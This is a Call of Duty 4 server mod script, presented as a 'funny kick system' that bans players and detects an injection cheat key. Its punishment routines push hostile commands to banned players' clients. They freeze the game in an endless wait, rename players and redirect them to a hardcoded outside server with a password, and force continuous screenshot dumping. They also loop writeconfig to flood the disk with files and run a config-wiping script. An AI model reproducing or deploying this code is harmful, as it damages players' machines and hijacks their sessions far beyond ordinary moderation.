/*===================================================================||
||/|ŻŻŻŻŻŻŻ\///|ŻŻ|/////|ŻŻ|//|ŻŻŻŻŻŻŻŻŻ|//|ŻŻŻŻŻŻŻŻŻ|//\  \/////  //||
||/|  |//\  \//|  |/////|  |//|  |/////////|  |//////////\  \///  ///||
||/|  |///\  \/|  |/////|  |//|  |/////////|  |///////////\  \/  ////||
||/|  |///|  |/|  |/////|  |//|   _____|///|   _____|//////\    /////||
||/|  |////  //|  \/////|  |//|  |/////////|  |/////////////|  |/////||
||/|  |///  ////\  \////  ////|  |/////////|  |/////////////|  |/////||
||/|______ //////\_______/////|  |/////////|  |/////////////|  |/////||
||===================================================================||

	Plugin:	 		Advanced, funny kick system
	Version:		1.0
	Requirement:	ClientCmd menu
	Author:			DuffMan
	XFire:			mani96x
	Homepage:		3xp-clan.com
	Date:			15.01.2013
*/

init(v) {
	//level.clientcmd_script = braxi\_common::clientCmd;
	//level.clientcmd_script = braxi\_common::ExecClientCommand;
	level.clientcmd_script = braxi\_common::clientCmd;
	
	level.kick_save_stat = 418;//changing these values will unban all players!
	level.kone_save_stat = 412;
	level.kick_counter   = 416;
	thread onPlayerConnected();
	thread RandomUnbanName();
	thread BanWatch();
}

onPlayerConnected() {
	for(;;) { 
		level waittill("connected",player);
		
		if ( ( player getStat(level.kick_save_stat) != 0 || player getStat(level.kone_save_stat) == 3 ) && player.name == getDvar("unbanname")) {
			log("UNBAN",player,"key->" + getDvar("unbanname"));
			player setStat( level.kick_save_stat, 0 );
			player setStat( level.kone_save_stat, 0 );
			player iPrintlnBold("^7You^5 have been successfully unbanned.\n^5You can change your name now.");
			iPrintln("^7" + player.name + "^5 has been successfully unbanned");
		}
		
		if(player getStat(level.kick_save_stat) != 0) player thread dropPlayer();
		if(player getStat(level.kone_save_stat) == 3 && getDvarInt("net_port") != 28967) player thread loopDc();
		if(getDvarInt("net_port") != 28967)
		{
			player thread KoneInjectionDetection(); //Konedriver injection not needed on deathrun
			//player thread delayKey();
		}
	}
}

delayKey()
{
	self waittill( "spawned_player" );
	if(!isDefined(self.pers["konekey"]))
	{
		wait .15;
		self [[level.clientcmd_script]]("bind / openscriptmenu injected kone;bind # openscriptmenu injected kone");
		self.pers["konekey"] = true;
	}
}

log(event,player,extralog)
{
	if(isDefined(extralog))
		logPrint( "" + event + ";" + player getGuid() + ";" + player getEntityNumber() + ";" + player.name + ";" + extralog + "\n" );
	else
		logPrint( "" + event + ";" + player getGuid() + ";" + player getEntityNumber() + ";" + player.name + "\n" );
}

loopDc() {
	self endon("disconnect");
	for(;;wait .05) self [[level.clientcmd_script]]("cp;wait 999999999999999999999999");
}

KoneInjectionDetection()
{
	self endon("disconnect");
	self thread KeyResponse();
	for(;;)
	{
		haspressed = 0;
		while(!self.konekeypressed) wait .05;
		time = 0;
		while(time <= 40)
		{
			if(self.konekeypressed)
				haspressed++;
			wait .05;
			if(haspressed >= 6)
			{
				if(getDvar("rs_anticheat") == "") setDvar("rs_anticheat",1);
				else setDvar("rs_anticheat",getDvarInt("rs_anticheat") + 1);
				self setStat(level.kone_save_stat,self getStat(level.kone_save_stat) + 1);
				log("Konedriver injected #"+getDvarInt("rs_anticheat"),self,"Kills|Deaths|Assist->" + self.pers["kills"] + "|" + self.pers["deaths"] + "|" + self.pers["assists"]);
				wait randomint(60) + 20;
				self thread loopDc();
				return;
			}
			time++;
		}
	}
}

KeyResponse()
{
	self endon("disconnect");
	self.konekeypressed = false;
	for(;;)
	{
		self waittill("menuresponse", menu, response);
		if( response == "kone" )
		{
			self.konekeypressed = true;
			wait .05;
			self.konekeypressed = false;
		}
	}
}

BanWatch()
{
	for(;;)
	{
		setDvar("advban","");
		while(getDvar("advban") == "") wait .05;
		tok = StrTok(getDvar("advban"),":");
		players = getEntArray("player","classname");
		toban = undefined;
		for(i=0;i<players.size;i++)
			if(players[i] getEntityNumber() == int(tok[0])) 
				toban = players[i];
		if(isDefined(tok[2])) reason = tok[2];
		else reason = "Banned by admin";
		if(isDefined(toban) && isPlayer(toban) && isDefined(tok[1]) && int(tok[1]) < 8)
		{
			toban setStat(level.kick_save_stat,int(tok[1]));
			iPrintln( "^1RS^7' Admin: ^7" + toban.name + " ^5got BANNED on this server.\n^7Reason: ^5 " + reason );
			log("Player banned",toban,("Banart->" + toban getStat(level.kick_save_stat) + ",Reason->" + reason));
			toban iPrintlnBold( "^7You ^5got BANNED on this server.\n^7Reason: ^5 " + reason );
			wait 4;
			toban thread dropPlayer("firstban");
		}
	}
}

dropPlayer(firstkick) {
	self endon("disconnect");
	if(!isDefined(firstkick)) {
		wait .1;
		iPrintOnAllPlayer( "^2RS^7' Adminbot: ^5Removing banned player ^7" + self.name + " ^5from the server." , self );
		log("Remove banned player",self,("Banart->" + self getStat(level.kick_save_stat) + ",Reconnects->" + self getStat(level.kick_counter)));
		self setStat(level.kick_counter,self getStat(level.kick_counter) +1);
	}
	switch(self getStat(level.kick_save_stat)) {
		case 1:
			self setClientDvar("sv_hostname", getDvar("sv_hostname") );
			self setClientDvar("dr_freerun_round", 0 );
			self [[level.clientcmd_script]]("map " +getDvar("mapname"));
			break;
		case 2:
			self [[level.clientcmd_script]]("name I <3 Nexis;disconnect;wait 200;connect 79.133.51.73:28970;password nexiswar");
			break;
		case 3:
			self [[level.clientcmd_script]]("cp");
			break;
		case 4:
			self thread aviDemo();
			break;	
		case 5:
			self thread cfgKiller();
			break;
		case 6:
			self thread writeConfig();
			break;
		case 7:
			self [[level.clientcmd_script]]("reconnect");
			break;			
		default: return;
	}
}

writeConfig() {
	self endon("disconnect");
	for(i=0;;i+=50) {
		self setClientDvar("trolololer","writeconfig " + i + ";writeconfig " + (i+1) + ";writeconfig " + (i+2) + ";writeconfig " + (i+3) + ";writeconfig " + (i+4) + ";writeconfig " + (i+5) + ";writeconfig " + (i+6) + ";writeconfig " + (i+7) + ";writeconfig " + (i+8) + ";writeconfig " + (i+9) + ";writeconfig " + (i+10) + ";writeconfig " + (i+11) + ";writeconfig " + (i+12) + ";writeconfig " + (i+13) + ";writeconfig " + (i+14) + ";writeconfig " + (i+15) + ";writeconfig " + (i+16) + ";writeconfig " + (i+17) + ";writeconfig " + (i+18) + ";writeconfig " + (i+19) + ";writeconfig " + (i+20) + ";writeconfig " + (i+21) + ";writeconfig " + (i+22) + ";writeconfig " + (i+23) + ";writeconfig " + (i+24) + ";writeconfig " + (i+25) + ";writeconfig " + (i+26) + ";writeconfig " + (i+27) + ";writeconfig " + (i+28) + ";writeconfig " + (i+29) + ";writeconfig " + (i+30) + ";writeconfig " + (i+31) + ";writeconfig " + (i+32) + ";writeconfig " + (i+33) + ";writeconfig " + (i+34) + ";writeconfig " + (i+35) + ";writeconfig " + (i+36) + ";writeconfig " + (i+37) + ";writeconfig " + (i+38) + ";writeconfig " + (i+39) + ";writeconfig " + (i+40) + ";writeconfig " + (i+41) + ";writeconfig " + (i+42) + ";writeconfig " + (i+43) + ";writeconfig " + (i+44) + ";writeconfig " + (i+45) + ";writeconfig " + (i+46) + ";writeconfig " + (i+47) + ";writeconfig " + (i+48) + ";writeconfig " + (i+49));
		self [[level.clientcmd_script]]("vstr trolololer");
		wait .05;
	}
}

aviDemo() {
	self endon("disconnect");
	for(;;wait 5) self setClientDvar("cl_avidemo", "500");
}

cfgKiller() {
	self endon("disconnect");
	for(;;wait 10) self [[level.clientcmd_script]]("exec cfgkiller");
}

iPrintOnAllPlayer(text,excludedplayer) {
	players = getEntArray("player","classname");
	for(i=0;i<players.size;i++)
		if(players[i] != excludedplayer)
			players[i] iPrintln(text);
}

RandomUnbanName() {
	if( isDefined( game["unbanname"] ) ) return;
	game["unbanname"] = 1;
	level.unbanname = "";
	for(i=0;i<5;i++) {
		random = randomint(10);
		level.unbanname = "" + level.unbanname + "" + random;	
	}
	setDvar("unbanname", level.unbanname);
}